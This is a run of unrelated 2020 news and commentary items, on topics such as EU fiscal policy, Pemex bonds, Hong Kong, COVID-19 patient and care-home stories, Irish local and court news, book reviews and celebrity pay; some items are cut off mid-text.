Its hard to quarrel with Merkels account of why a program of this kind  and preferably bigger still  is needed. As she pointed out, There is a risk that the EUs cohesion will be endangered by the economic effects of this virus. Without help, the countries worst hit with cases of Covid-19, especially Italy, will struggle to cope with the budgetary consequences. Thats partly because, as members of the single-currency system, they lack independent recourse to monetary accommodation of their emergency public spending. Italys debts are already onerous. The European Central Bank has stepped forward with powerful monetary-policy support, but its ability to direct help to the countries that need it most is constrained.

The EUs hesitation has added to popular resentment in Italy and elsewhere, and things could get worse if the hoped-for economic recovery is delayed or interrupted. Euroskeptic sentiment was on the rise even before the pandemics fiscal demands drew fresh attention to the weakness of the EUs policy tools.

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In the longer term, Europe requires a permanent budget-policy framework to furnish the euro system with the necessary fiscal instruments. That means EU borrowing, EU taxes and EU public spending. This, however, is work that will take years, supposing it can ever be accomplished. Europe would need a new treaty  a drawn-out process that requires unanimity  and would have to address issues of identity and solidarity that up to now it has preferred to dodge. Because of the coronavirus, a much faster remedy is essential. A temporary de facto union, skirting the need for a new treaty and consequent delays, is the best way forward.

This new proposal could start to fit the bill. Granted, even in getting to a short-term fix, complex negotiations will be needed over who gets the money and who in the end pays. The effort might fizzle out, like previous attempts. But in agreeing with Macron and recognizing, for the first time, that a single-currency area cant work well under stress without a unified fiscal policy, Merkel has taken a big and possibly momentous step.

Editorials are written by the Bloomberg Opinion editorial board.

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Tanker trucks of Mexico state oil firm Pemex's are seen at Cadereyta refinery in Cadereyta

By Stefanie Eschenbacher and Rodrigo Campos

MEXICO CITY/NEW YORK (Reuters) - Mexico's state-owned oil company Petroleos Mexicanos has seen investor sentiment improve in recent weeks despite sky-high debts, a slump in demand and no clear direction about how the government will turn the money-losing driller around.

Despite all the risks of holding the world's largest fallen angel, the ignominious distinction for a company that loses its investment-grade rating, bondholders are betting on continued support from the government.

"If we came to believe that sovereign support was less forthcoming, or that there was an effort to more fully separate the sovereign and the oil sector as independent entities, we would become more cautious," said James Barrineau, co-head of emerging market debt for the Americas at Schroders.

Barrineau said that unlike other non-investment grade oil names, Pemex's "importance to the sovereign means default risks are low."

Pemex bonds also remained a top pick for Morgan Stanley analysts who on Monday turned bullish on emerging market sovereign credit, with the Wall Street bank doubling down and closing the 5-year credit default swap trade it had as a hedge to its long Pemex call.

So far in May, spreads for the most highly traded Pemex bonds have narrowed by triple digits, MarketAxess data show, with the 2030 <71654QCT7=> tightening by 240 basis points and the January 2027 <MX203189451=> by almost 200.

Late on Thursday the 2030 bonds traded at 89 cents with a yield of 8.97%, while the 2027 traded at 91 cents, their yield at 8.25%.

Pemex bond spreads have this month tightened at a steeper rate than those of both the sovereign and the benchmark emerging markets index <.JPMEGD>.

With the Mexican sovereign spread to the U.S. 10-year among the widest in its credit rating category, expected tightening should further pressure Pemex yields lower, analysts and investors said.

Investors had initially punished Pemex, widely held by yield-hungry investors, and even the Mexican sovereign, because they said President Andres Manuel Lopez Obrador has given no credible plan of how he plans to turn around Pemex.

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Mexico's huge money-losing driller is run by Chief Executive Octavio Romero, who sticks to the government's position.

Yet analysts and investors now say the company's dire straits harden the case for government support.

"Pemex would likely be the primary beneficiary of any fiscal relief effort (from the government)," said Gustavo Rangel, chief economist for Latin America at ING.

"In fact, the sharp drop in oil prices suggests that PEMEX should continue to struggle to deliver on its financial goals, increasing the need for continued financial assistance from the federal government."

The slump in demand for oil on the world market has exacerbated Pemex's financial problems.

The company is saddled with almost $105 billion in debt and more than $54 billion of unfunded pension liabilities, and late last month posted a loss of $23.6 billion, one of the largest for a single quarter in corporate history.

Jens Nystedt, senior portfolio manager at Emso Asset Management, said he upped his holdings of Pemex bonds through last month after the credit's "junk" status forced some investors to sell, driving down prices.

"A lot of people waited for that forced selling to show its hand before they were willing to take advantage of attractive yields and an attractive spread over the sovereign," said Nystedt.

(GRAPHIC: Pemex versus benchmark versus sovereign - https://fingfx.thomsonreuters.com/gfx/mkt/xklvykwjevg/PMXvMX.png)

(Reporting by Stefanie Eschenbacher in Mexico City and Rodrigo Campos in New York; additional reporting by Karin Strohecker in London; editing by Megan Davies and Lisa Shumaker)
On the recommendation of a friend, I rented the freshly released film "Resistance" on Amazon Prime. Starring Jesse Eisenberg, the film is a small peek into the true story of the rescue of tens of thousands of orphaned Jewish children in France by the Oeuvre de Secours aux Enfants. I already knew about the many children who were swallowed up into the safety of the Swiss alps, what I didn't know was the true story of Marcel Mangel-later known worldwide as the mime artist Marcel Marceau-and how he saved at least 70 Jewish children through risky border crossings into Switzerland during World Wa...
VANCOUVERAs Ottawa pleads for dialogue to resolve fresh outrage over Chinas latest attempt exert its control over Hong Kong, a pro-democracy organization is calling on Canada to stop considering the city as different from the rest of mainland China.

Alliance Canada Hong Kong (ACHK), a Canadian organization comprised of those who oppose Chinese Communist Party (CCP) influence in the city, said Beijings move Thursday to implement a national security law giving itself power to interfere with protests in the city means Hong Kong can no longer be considered special.

We think that the move that Beijing has made makes it clear that one country, two systems no longer exists, said Cherie Wong, the executive director of the ACHK. The relationship between Hong Kong and Canada must be treated as such.

The legislation will give Beijing power to take aim at the large, often violent anti-government protests that roiled Hong Kong for much of last year  unrest that has posed a direct challenge to the CPP and its leader, Chinese President Xi Jinping.

In the CCPs view, such laws are necessary to protect Chinas sovereignty from external forces determined to undermine its rule. But opponents are calling the move the death of Hong Kong.

Global Affairs Canada spokesperson Adam Austen said Ottawa is encouraging dialogue to address the legitimate concerns raised by Hong Kongers over the legislation. Hong Kong is home to 300,000 Canadian citizens.

We are concerned by these reports and we are following the developments closely, Austen said. With hundreds of thousands of Canadians living in Hong Kong, we have a vested interest in its stability and prosperity  the foundation of which are Hong Kongs relative autonomy and basic freedoms.

The so-called one country, two systems policy has been in place since Hong Kong was handed over to the CCP by the United Kingdom in 1997 at the termination of the U.K.s 99-year lease on the territory.

The Sino British Joint Declaration stipulated Hong Kongs autonomy, rights and freedoms would remain unchanged until 2047. Those freedoms have distinguished Hong Kong from the rest of China.

But in recent years, massive protests against the creeping influence of the CCP have erupted in the city, particularly last year when marches against Beijings interference in Hong Kongs affairs drew up to two million people.

The proposal, announced Thursday, reignited such fear and anger. It also inflamed worries that Beijing is trying to dismantle the distinct political and cultural identity that has defined the former British colony since it was reclaimed by China in 1997.

Austen said Canada supports the autonomy of Hong Kong under the one country, two systems policy.

But Wong called the faith in the system a fantasy and said Canada must recognize Hong Kong is no longer autonomous and should no longer be treated as though it is.

I hope Canada can stand up against Beijings global agenda, Wong said. Its not just about Hong Kong anymore. Beijing has been trying to rewrite the international order for ages and this step in Hong Kong is another indication of how Beijing doesnt care for international norms.

She said such a move would have implications on Hong Kong residents having their freedom of movement impeded because Chinese nationals need a visa to visit Canada, while Hong Kong residents do not. It would also have commercial and political ramifications for Hong Kong.

She said Hong Kong currently enjoys free trade, travel and other benefits of not being treated the same as mainland China, while at the same time not honouring the agreement under which the benefits were granted.

Taking these things away would send a message to the world that Hong Kong is not immune to the corruption and tyranny of the CCP, Wong said, adding it would force a rethink about where the region fits in the world.

ACHK warns the overreach in Hong Kong expands to Canada, where last year pro-democracy demonstrators in Vancouver and Toronto were targeted by those supporting the CCP.

Wong said such incidents show that the CCPs attempts to intimidate and control dissent abroad are already on Canadas doorstep.

If the CCP doesnt respect an international declaration that is registered at the UN, why would it respect a trade agreement, why would it respect any other agreements we make with them? she said. If we do nothing, were complicit in the CCPs movement to take over with their authoritarian norms.

With files from The Associated Press

Read more about:
SOME Tullamore families are prisoners in their own homes because of anti-social behaviour, Offaly County Council was told this week.

A council meeting on Monday heard that serious anti-social behaviour is taking place across the county but two estates in Tullamore were singled out, Church Hill and Chancery Close.

There are severe cases of anti-social behaviour in many of the housing estates, not only in Tullamore and Clara but right through the county that need to be dealt with in co-operation with the gardai, said Cllr Ken Smollen.

The Irish Democratic Party representative said it is vital that control is taken and he said there were at least two families in Chancery Close who were prisoners in their own homes.

I think we cannot stand by with that knowledge. They cannot leave their own homes. They can't even come to the front gate, said Cllr Smollen.

Cllr Sean O'Brien, an Independent councillor for the Tullamore area, said anti-social behaviour had become a huge problem in Tullamore and other towns.

We've one here in Church Hill which is absolutely a tremendous problem for the residents there, said Cllr O'Brien.

Calling for very tough action, he added: Anti-social behaviour is at alarming levels in a number of areas in town and we don't want that to spread.

Cllr John Leahy said the behaviour was creeping in in council estates and he feared that the local authority's policy of buying houses in private estates isn't exactly working either.

We could be in a situation whereby decent people are being forced out, said the Independent councillor from Kilcormac.

In the next couple of months you'll see more and more people looking for transfers out of estates.

Cllr Declan Harvey, Fianna Fail, described the behaviour as outrageous.

I don't think the guards are doing enough, said the Tullamore representative.

Tom Shanahan, director of services with the council, said An Garda Siochana liaise very well with the council's housing team on anti-social behaviour complaints.

I'm not going to discuss any individual cases here but we will follow up on any of the issues that are raised, said Mr Shanahan.

The issue was also raised at Thursday's meeting of Tullamore Municipal District with calls on the council to get tough with those engaged in anti-social behaviour.

Cllr Frank Moran said the council needed to use the tools at their disposal and to get tougher with those in breach of their tenancy agreements.

That call was echoed by his party colleague, Cllr Declan Harvey who advised the council to show leadership and sort out tenants giving trouble.

Cllr Neil Feighery urged the council to flex its muscles and emphasise that each tenant will have to abide by the handbook they signed up to.

Cllr Sean O'Brien pointed to a vacant house at Church Hill where dumping and anti-social behaviour were taking place.

Cllr Ken Smollen said known drug users were causing mayhem in some estates in Tullamore and Clara.

He claimed that other residents in these estates were prisoners in their own homes.

Housing Officer, John Cunningham said he will raise the issue with the council's housing team with a view to using whatever tools the local authority has available to it.

He stressed that other agencies will also need to be involved in the process as the council could not solve it on our own.
If you own shares in Chesapeake Energy Corporation (NYSE:CHK) then it's worth thinking about how it contributes to the volatility of your portfolio, overall. In finance, Beta is a measure of volatility. Volatility is considered to be a measure of risk in modern finance theory. Investors may think of volatility as falling into two main categories. First, we have company specific volatility, which is the price gyrations of an individual stock. Holding at least 8 stocks can reduce this kind of risk across a portfolio. The second type is the broader market volatility, which you cannot diversify away, since it arises from macroeconomic factors which directly affects all the stocks on the market.

Some stocks see their prices move in concert with the market. Others tend towards stronger, gentler or unrelated price movements. Beta can be a useful tool to understand how much a stock is influenced by market risk (volatility). However, Warren Buffett said 'volatility is far from synonymous with risk' in his 2014 letter to investors. So, while useful, beta is not the only metric to consider. To use beta as an investor, you must first understand that the overall market has a beta of one. A stock with a beta greater than one is more sensitive to broader market movements than a stock with a beta of less than one.

Check out our latest analysis for Chesapeake Energy

What CHK's beta value tells investors

Looking at the last five years, Chesapeake Energy has a beta of 1.89. The fact that this is well above 1 indicates that its share price movements have shown sensitivity to overall market volatility. If the past is any guide, we would expect that Chesapeake Energy shares will rise quicker than the markets in times of optimism, but fall faster in times of pessimism. Share price volatility is well worth considering, but most long term investors consider the history of revenue and earnings growth to be more important. Take a look at how Chesapeake Energy fares in that regard, below.

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NYSE:CHK Income Statement May 22nd 2020

How does CHK's size impact its beta?

Chesapeake Energy is a rather small company. It has a market capitalisation of US$137m, which means it is probably under the radar of most investors. It takes less money to influence the share price of a very small company. This may explain the excess volatility implied by this beta value.

What this means for you:

Beta only tells us that the Chesapeake Energy share price is sensitive to broader market movements. This could indicate that it is a high growth company, or is heavily influenced by sentiment because it is speculative. Alternatively, it could have operating leverage in its business model. Ultimately, beta is an interesting metric, but there's plenty more to learn. This article aims to educate investors about beta values, but it's well worth looking at important company-specific fundamentals such as Chesapeake Energys financial health and performance track record. I highly recommend you dive deeper by considering the following:

Future Outlook: What are well-informed industry analysts predicting for CHKs future growth? Take a look at our free research report of analyst consensus for CHKs outlook. Past Track Record: Has CHK been consistently performing well irrespective of the ups and downs in the market? Go into more detail in the past performance analysis and take a look at the free visual representations of CHK's historicals for more clarity. Other Interesting Stocks: It's worth checking to see how CHK measures up against other companies on valuation. You could start with this free list of prospective options.

Love or hate this article? Concerned about the content? Get in touch with us directly. Alternatively, email editorial-team@simplywallst.com.



This article by Simply Wall St is general in nature. It does not constitute a recommendation to buy or sell any stock, and does not take account of your objectives, or your financial situation. We aim to bring you long-term focused analysis driven by fundamental data. Note that our analysis may not factor in the latest price-sensitive company announcements or qualitative material. Simply Wall St has no position in any stocks mentioned. Thank you for reading.
A City IT worker lost five stone in five weeks while he battled coronavirus in intensive care on a ventilator, MailOnline can reveal.

Software developer Kim Wai Li lost four inches from his waistline and dropped from 15 to ten stone during his life-saving treatment.

The father-of-two young boys was given just 20 per cent chance of survival after he became unable to breathe days after contracting Covid-19.

Now Kim, from Welling, south-east London, believes he has been given a second chance and revealed his shock at his weight-loss.

I didnt recognise myself in the mirror when I saw how much weight Id lost, he told MailOnline.

Kim Wai Li, a City IT worker lost five stone in five weeks while he battled coronavirus in intensive care on a ventilator, MailOnline can reveal

The software developer from Welling, south east London, lost four inches from his waistline and dropped from 15 to ten stone during his life-saving treatment

The father-of-two was given just 20 per cent chance of survival after he became unable to breathe days after contracting Covid-19. Now Kim hopes to lead a healthier lifestyle and has revealed his shock at his weight-loss

Its been one hell of a journey. Physically it was like a slap in the face and Im determined to keep my weight where it is. Its a second lease of life.

I was on pills for my blood pressure when I went in and its now within normal limits.

Although the family have Chinese heritage, Kim and his wife Ceri were both born in Britain and had not travelled to China, where the virus outbreak began at the end of last year.

Kim first became ill on March 12 and believes he became infected on the packed commuter train he takes every day to his work in the City of London.

At first he tried to tackle the symptoms at home but was admitted to the Queen Elizabeth Hospital in Woolwich, south-east London, on March 17 when he struggled to breath.

At 5ft 6ins, Kim was declared clinically obese on being admitted and an x-ray revealed he had a chest infection.

He was sent home with a course of antibiotics but three days later his condition deteriorated and he was rushed back to hospital by ambulance.

His mother-in-law, Ying Lau, who was also admitted hospital with breathing problems, was tested for coronavirus and her results came back positive.

Kim first became ill on March 12 and believes he became infected on the packed commuter train he takes every day to his work in the City of London

At first he tried to tackle the symptoms at home but was admitted to the Queen Elizabeth Hospital in Woolwich, south-east London, on March 17 when he struggled to breath

At 5ft 6ins, Kim was declared clinically obese on being admitted and an x-ray revealed he had a chest infection. He was sent home with a course of antibiotics but three days later his condition deteriorated and he was rushed back to hospital by ambulance

Ceri, 38, (pictured with Kim before he fell ill) said: I had never seen him so unwell before. It just got worse and worse and he looked weaker by the day. He was struggling with breathing and really coughing'

After an initial test proved negative, a second test confirmed he had Covid-19.

Describing his symptoms Kim said: I was chesty and out of breath. It was harder than usual to breathe. I also had nosebleeds constantly.

Ceri, 38, added: I had never seen him so unwell before. When he has a cough or a cold he normally recovers after a few days but he was not getting better.

It just got worse and worse and he looked weaker by the day. He was struggling with breathing and really coughing.

He looked so unwell. He told me he needed help. We suspected coronavirus because my mum had it and wed all been in close contact.

For some reason only he and my mum picked it up. Me and the boys were fine.

While his mother-in-law responded well to oxygen treatment and spent just weeks in hospital, Kims condition deteriorated.

He was treated first with a nasal oxygen tube, then an oxygen mask but after five days he was moved to intensive care, put into an induced coma and put on a ventilator as doctors tried to get more oxygen into him.

His family feared the worse, while his young sons Jake, three and Jackson, 19-months, were not allowed to visit him.

When Kim failed to respond to the treatment, doctors believed his only chance of survival was a special machine at St Thomas Hospital in central London where Boris Johnson had been treated.

He was treated first with a nasal oxygen tube, then an oxygen mask but after five days he was moved to intensive care, put into an induced coma and put on a ventilator as doctors tried to get more oxygen into him

His family feared the worse, while his young sons Jake, three and Jackson, 19-months, (above) were not allowed to visit him

He was told he would been to be put on a specialist ECMO machine which pumps oxygen into the patients blood via an artificial lung.

But as medics prepared him for the blue-light ambulance journey, Kim began to respond to the oxygen treatment and he was left in intensive care at Woolwich.

He finally woke up on April 9, almost four weeks after he was first admitted to hospital.

But during his illness he had suffered kidney damage and he was sent to another hospital, Kings College Hospital, in south London, for dialysis before being finally discharged on April 22.

He remembers having vivid dreams, hallucinating and desperately wanting chocolate ice-cream.

He said: I went into hospital on a Friday and the following week must have been really bad because I dont remember that at all.

I remember getting a delivery of food, telling the wife I was really struggling and thats it.

The next thing I remember was waking up in Kings [College Hospital]. I knew my name and date of birth but I didnt know what day it was or where the hell I was.

The doctor said I had been in a coma.

When he came around, Kim was so weak he could barely hold a phone and was shocked when he looked in the mirror and saw how he had shrunk.

He finally woke up on April 9, almost four weeks after he was first admitted to hospital. But during his illness he had suffered kidney damage and he was sent to another hospital, Kings College Hospital, in south London, for dialysis before being finally discharged on April 22

He weighed himself and discovered he had lost five stone  one stone for each week he suffered from the virus.

All his clothes are now too big for him, having gone from size 40in waist to size 36in.

Ceri told MailOnline: When I opened the door I didnt recognise him. His face was a lot slimmer. I was really shocked.

He couldnt walk, he's wasted away but hes got a second chance. He was nearly 15 stone and about 5ft 5 or 6 so he was obese.'

Kim thanked doctors and nurses for saving his life and revealed how he broke down in tears when he saw his family.

'Seeing the family, the kids and my wife again, there was a huge sense of relief,' he said. I dont do it often but I will admit I suddenly started crying.

Throughout the dreams when I was sedated there was always one theme - to get home. I wanted to see my family, even if it was for the last time.
SAN FRANCISCO (BCN)

Murals painted by military veterans in an alley in San Francisco's Tenderloin neighborhood have been painted over by crews from a local business improvement district, damaging a nearly decade-old project that has brought pride to the neighborhood.

Shannon Street, an alley near Geary and Taylor streets a few blocks west from Union Square, has also come to be known as Veterans Alley as a result of the mural project started in 2011 by Amos Gregory, a U.S. Navy veteran from the Gulf War era.

Painting crews associated with the Union Square business improvement district earlier this month responded to a request from a property owner in the alley to remove hateful graffiti such as swastikas that had been painted there, according to the district's executive director Karin Flood.

Gregory said, however, that the painters also went over murals unaffected by the vandalism, including some painted 15 feet above street level to prevent damage from graffiti, and did it without contacting him or anyone else associated with the project.

Four murals in all are gone on two separate buildings, while others remain elsewhere in the alley, he said.

One of the painted-over murals, done by Air Force veteran Ricky Chapman, depicted Capt. David Hrdlicka, a pilot shot down over Laos in 1965 who was taken as a prisoner of war there and never found.

Chapman said he knows Hrdlicka's wife and made the mural at her request. Visually impaired after suffering two strokes, Chapman said he worked on the mural off-and-on over 14 months, climbing up a ladder to work on it with his face inches from the wall.

"I thought I was trying to put something up there that had some relevance," he said. "If you're going to suppress it, paint over the whole damn alley."

The Union Square BID was the first business improvement district created in San Francisco in 1999 and provides property tax-funded services such as graffiti and sidewalk cleanups, community ambassadors and overnight security patrols.

The Union Square BID's 10-year reauthorization by the city last July expanded its territory to now include 620 parcels and a portion of Veterans Alley, with an annual budget of more than $6 million. The rest of the alley is part of the adjacent Tenderloin Community Benefit District.

Gregory said he hasn't gotten an explanation about why the murals were painted over, but said it may have just been an overzealous painting crew or misunderstanding with an organization unfamiliar with the alley newly in its territory.

Flood said she was unaware of any painting that went beyond what was requested of the Union Square BID by the property owner who reported the graffiti.

"We certainly did follow protocols on our end," she said. "It's a tricky time right now, everyone's social distancing. We're trying to do the best we can."

Michael Nulty, executive director of the group Alliance for a Better District 6, the Board of Supervisors district that includes the Tenderloin, criticized the Union Square BID for its handling of the murals, especially given they were in what he said was "an alleyway that was left as a discarded part of the neighborhood" before the veterans' project.

"Blacking out already established public art is not cool," Nulty said. "It was their staff that did the damage."

Nulty said it appeared to be a case of "the people that have will do what they want."

Gregory said the mural destruction has distracted from other assistance work he is doing with local veterans amid the COVID-19 pandemic, including connecting unhoused veterans with nonprofits like Swords to Plowshares and coordinating with community groups to get more Tenderloin residents tested for the virus.

"We want to be left in peace to concentrate on the work at hand without feeling even more vulnerable," he said.

More information about the veterans' mural project can be found at www.vetsalley.org.

Copyright  2020 by Bay City News, Inc. Republication, Rebroadcast or any other Reuse without the express written consent of Bay City News, Inc. is prohibited.
A German woman suspected of joining the Islamic State group in Syria has been taken into custody in her homeland after being deported from Turkey.

The suspect, identified only as Zeynep G. in line with German privacy rules, was arrested at Frankfurt airport on Thursday. Federal prosecutors said she was brought before a judge on Friday and he ordered her held pending a possible indictment.

Prosecutors allege that she left Germany in 2014 for Syria, where she married a Chechen IS fighter and joined the extremist group. They say she married a second IS fighter, this one from Germany, after her husband was killed in fighting in 2015. The two had a child in 2016.

Zeynep G. was captured by Kurdish forces in early 2019 and escaped about a year later from a refugee camp in northern Syria, according to prosecutors. She was then arrested after entering Turkey.

German federal police told news agency dpa that two women and their four children landed in Frankfurt on Thursday evening on a flight from Ankara. There was no arrest warrant against the other woman.
Civilians numbering at least 300 and 3 aid workers were killed in tribal clashes in the Jonglei State of South Sudan according to the Red Cross.

The fights were caused by disputes over land and cattle which has been going on for decades in the area.

The clashes returned after the Government created ten new states and is yet to announce Governors.

The Murle and Lou Nuer factions resumed clashes on Saturday leaving many displaced.

The Red Cross warned that restrictions put in place due to Covid-19 has made it difficult to provide medical emergencies and airlift the wounded.

The Red Cross announced that if violence escalates to 2019 levels, greater loss of life is expected since the pandemic limits ability to respond on time.
The High Court has ruled that the bankruptcy of a Co Monaghan farmer whose cattle were shot by members of the Defence Forces in 2016 should be extended.

Ms Justice Teresa Pilkington ruled the bankruptcy of MrJohn Hoey, from Carrickmacross should be extended due to his lack of co-operation with the official in charge of his bankruptcy, the Official Assignee (OA) Mr Chris Lehane.

However the Judge said that she was inviting further submissions from the parties as to the length the bankruptcy should be extended.

The judge added if there was further cooperation by Mr Hoey with the OA that could well determine the extent of any bankruptcy extension. The matter is due back before the courts next month.

Mr Hoey was declared bankrupt on foot of a petition brought by John Kelly Fuels Ltd for 262,000 in February of 2016.

He was due to exit the process 12 months later, but has remained a bankrupt pending the outcome of the OA's extension application.

Represented by Bernard Dunleavy SC the OA sought an order under Section 85 of the 2015 Bankruptcy (Amendment) Act that the bankruptcy be extended by 6 to 10 years.

The maximum period of extension that can be sought under the act is a 15 year extension from the date of the adjudication of bankruptcy.

Mr Lehane claimed that Mr Hoey has failed to co-operate by failing to provide a Statement of Affairs detailing all of his assets, had moves a substantial amount of farm machinery from his farm and hid them on the grounds of a local hotel.

It was also alleged that Mr Hoey attempted to hide payments he received from a meat factory, and had hid cash on his property, which was recovered following a search of the premises.

The court also heard that In the interests of public health and safety and to prevent the spread of TB, Mr Lehane had reluctantly used defence force marksmen to humanely destroy five of Mr Hoey's cows.

The animals had gone wild, dangerous and could not be captured, Mr Lehane said.

Mr Hoey strongly denied he had not co-operated with the OA, and claimed that he furnished Mr Lehane with a statement of affairs.

He says that between the date of his bankruptcy adjudication in February 2016, and May 2016 everything he had worked for was "literally wiped out and destroyed" by Mr Lehane and his agents.

Mr Hoey also rejected Mr Lehane's claims in relation to the cattle that were culled and said he remains "haunted " after witnessing his cattle being shot in July 2016.

In her judgement the judge said she was satisfied that Mr Hoey had hidden cash on his property, that had not been disclosed to the OA and had failed to furnish any proper explanation for.

The Judge said when the moving of assets, the proceeds of sale of cattle to the meat factory, and the non disclosure of the cash found by the OA, were taken into account there was a sufficient basis for finding that Mr Hoey had not cooperated with the OA in regards the realisation of his assets.

In all the circumstances the judge said that she was prepared to extend Mr Hoey's bankruptcy, and adjourned the matter to allow both sides file submissions to the court.
Residents of a nursing home where at least one person has died from Covid-19 are to be moved as health bosses are so concerned for their safety.

In an unprecedented measure, Belfast Trust has begun a process to relocate residents at Clifton Nursing Home in north Belfast.

The decision is even more significant given the fact that health bosses are now faced with the task of finding alternative accommodation for extremely vulnerable people in a pandemic.

It comes after management at the home, which is owned by scandal-hit care provider Runwood Homes, repeatedly failed to adequately address concerns over infection control processes.

The company has hit out at the decision, with a spokeswoman stating "it is regrettable that the local trust was unwilling to work in true partnership" to raise standards at the home.

However, it can be revealed that health inspectors have had concerns about infection control failings at the home since last year and it was given a third and final warning to meet basic standards after an inspection on March 3. They were given until March 17 to address the concerns by the Regulation and Quality Improvement Authority (RQIA).

It's welcome that the trust is acting now, although this is happening during a global pandemic and it's essential that no other homes are put at risk during this process Julieann McNally

It is not known whether a follow-up inspection occurred on March 17. However, Runwood Homes has said it has been working through an improvement plan following an inspection this week.

It can also be revealed that in November the chair of the Belfast Trust board Peter McNaney said the trust was "concerned that the home does struggle to sustain improvements".

Mr McNaney said the trust had been working with Clifton Nursing Home for 18 months "on issues that affect care quality and the lived experience of residents".

He continued: "As such, we are committed to ensuring that improvement is sustained and therefore care-monitoring visits to the home are more frequent than the average".

Read More

Announcing the decision to relocate residents, Health Minister Robin Swann last night said: "I very much regret that this serious intervention has become necessary. Given the current situation facing care homes with Covid-19, decisive action is essential. I therefore welcome the fact that trusts have started to contact families about moving residents as soon as possible to other facilities which meet their needs."

Mr Swann said measures have been put in place to protect residents "to give the necessary time to move residents at a safe pace".

However, Julieann McNally, who campaigned for an investigation into the conditions at another Runwood home, said: "Once again we have a home owned by Runwood Homes in the headlines for all the wrong reasons.

"We know the RQIA had concerns about infection control on March 3 and did not take any enforcement action but gave Runwood Homes another opportunity to address failings. We also know that a resident died there from Covid-19 just last week, so there are questions to be answered over whether enough was done to keep residents safe.

"It's welcome that the trust is acting now, although this is happening during a global pandemic and it's essential that no other homes are put at risk during this process."

We would urge the Belfast Trust to examine their response to supporting all care homes through the pandemic and explore learning from best practice in other trusts within Northern Ireland as a matter of priority Runwood Homes spokesperson

A spokeswoman from Runwood Homes has called for "urgent dialogue" with the Belfast Trust as the firm is confident concerns can be addressed.

She said: "The staff, like those in all care homes across Northern Ireland and indeed globally, have remained dedicated and focused on providing care to our residents through a very difficult time for health and social care where staff were themselves unwell.

"We can confirm that the health, safety and welfare of our residents remains our number one priority and have three Covid-19 positive residents living at our service with no further infections noted in the past 10 days. Through responding to the pandemic, standards in the environment had slipped and the staff team were working to address this with additional support.

"We would urge the Belfast Trust to examine their response to supporting all care homes through the pandemic and explore learning from best practice in other trusts within Northern Ireland as a matter of priority."

Runwood Homes has come under fire numerous times in recent years as a result of the management of a number of its homes, including Dunmurry Manor, now renamed Oak Tree Manor; Rose Court in Ballymena; and Ashbrooke Care Home in Enniskillen, where conditions were so dangerous that regulators closed the home with immediate effect following an inspection. It was subsequently reopened under the name Meadow View.
Xiaomi's upcoming fitness band could be capable of measuring blood oxygen saturation and tracking menstrual cycle.

Xiaomi Mi Band 5 is reportedly in the works and the fitness band could launch as early as next month. A new leak on the Mi Band 5 suggests it will come with Amazon Alexa support and house an SpO2 sensor.

An SpO2 sensor on the Mi Band 5 will make the fitness band capable of measuring blood oxygen saturation and menstrual cycle tracking. These features will be a major add on to the Mi Band 5. Amazon Alexa support on the Mi Band 5 will be another major upgrade for the fitness band.

This leak which comes from a report by TizenHelp also suggests that the Mi Band 5 will have a Personal Activity Intelligence (PAI). This feature will essentially show users how much activity is required to stay healthy. The fitness band will make such suggestions based on the users heart rate data.

The report also adds that this time too Xiaomi will restrict the NFC variant of Mi Band 5 to China. The Mi Band 4 also has a NFC variant but it isnt available outside China. It also comes with support for Xiaomis virtual assistant. But with Amazon Alexa on the Mi Band 5 a global availability makes sense.

Mi Band 5 is so far rumoured to feature a 1.2-inch OLED display which is bigger than the one on the Mi Band 4. It is also expected to come with a bigger battery. Theres no official word on the Mi Band 5 as yet but the fitness band could make its debut next month in China, of course.
Sarah Brills Symphony for the Man has already been optioned for film, and this quiet, luminous book might just be perfect for a screen adaptation. It portrays a chance friendship between a young woman alone in Sydney and a homeless man called Harry. Rough sleepers face increasingly hostile conditions; as Sydney gears up for the Olympics, the bus-shelter Harry rests on is redesigned to make it impossible for him to sleep there. Struck by seeing Harry from a passing bus, the young woman decides to do him a favour, and no ordinary one  she is determined to write him a symphony. Of course, she knows nothing about music, but that is about to change. A tale of two people from the margins of society united for a moment by music, by kindness, this short novel ripples along with gentle insistence towards a surreal but ultimately hopeful climax.

Scars are a motif in this rich and empathic novel from Jamaican author Nicole Dennis-Benn. Most of the characters have past wounds written on their bodies, and the stories behind them guide the narrative. The title character makes an escape from Jamaica to New York, leaving her five-year-old daughter Tru behind to be raised by her father and stepmother. Patsy is queer, but if the Big Apple beckons with the freedom to live and love as she chooses, it also saddles her with the vulnerabilities and disadvantages of an undocumented migrant. The novel delves into Patsys life in the US, and Trus in Jamaica as she grows into a teenager with a need to confront her mothers abandonmen. Dennis-Benn delicately layers a desperate, colourful and poignant coming-out story with an examination of trauma and of love, while resisting all the usual cliches of queer fiction.

Torched

Kimberley Starr

Pantera, $32.99

Credit:

Torched is a suspenseful crime novel that centres on that too-familiar Australian scenario, the aftermath of a terrifying bushfire. The small Yarra Valley town of Brunton is shocked to discover the fire that killed so many was deliberately lit. All the evidence points to Caleb, a young volunteer firefighter who remains silent about his actions. As the high-profile case proceeds through the legal system, Calebs mother Phoebe  principal of the local primary school  becomes obsessed with defending her son, refusing to believe he could have committed arson. But did he? From the terror and destruction wrought by the bushfire itself to the wrenching ordeal of a mother whose child has been charged with a monstrous crime, Starrs novel unfolds with vivid characters, a command of pace and considerable psychological realism.

Inheritance of Secrets

Sonya Bates

HarperCollins, $32.99
The Lord of the Rings franchise was critically acclaimed and made a lot of money. Orlando Bloom played Legolas in five movies of the franchise. He revealed how much he was paid to play the elf. Find out the surprising salary and how he answered a question about possibly returning to the role for Amazon Prime.

Amazon will have a Lord of the Rings show

RELATED: Sean Connerys Decision to Turn Down a Role in Lord of the Rings Cost Him $480M

Amazon Prime Video announced that production closed on a Lord of the Rings series in New Zealand due to the COVID-19 pandemic. Filming started a month before this decision, according to Indie Wire.

The show was expected to air in 2021. It is a prequel series, which will take place in Second Age of Middle-earth.

Orlando Bloom might not play Legolas again

Orlando Bloom The Hobbit: The Battle Of The Five Armies | Frazer Harrison/Getty Images

RELATED: Orlando Bloom Net Worth and How He Makes His Money

Bloom played Legolas in multiple movies, but he probably wont return to the role for the show adaptation. Bloom gave his reaction to the news of the Amazon Lord of the Rings series.

Its so funny because I remember being on set with Peter [Jackson] is it 20 years ago now? he said according to Indie Wire. He said, Wouldnt it be fun to think about people doing a remake of Lord of the Rings? This was amidst doing this remarkable shot. I said thats never going to happen.

The actor then shot down hopes of him returning. I feel like Ive done everything [I can.] I like to think of myself as ageless but I dont know where Id fit, he said. Bloom went on to say probably a 19-year-old kid should get the role.

He was paid $175,000 for the role

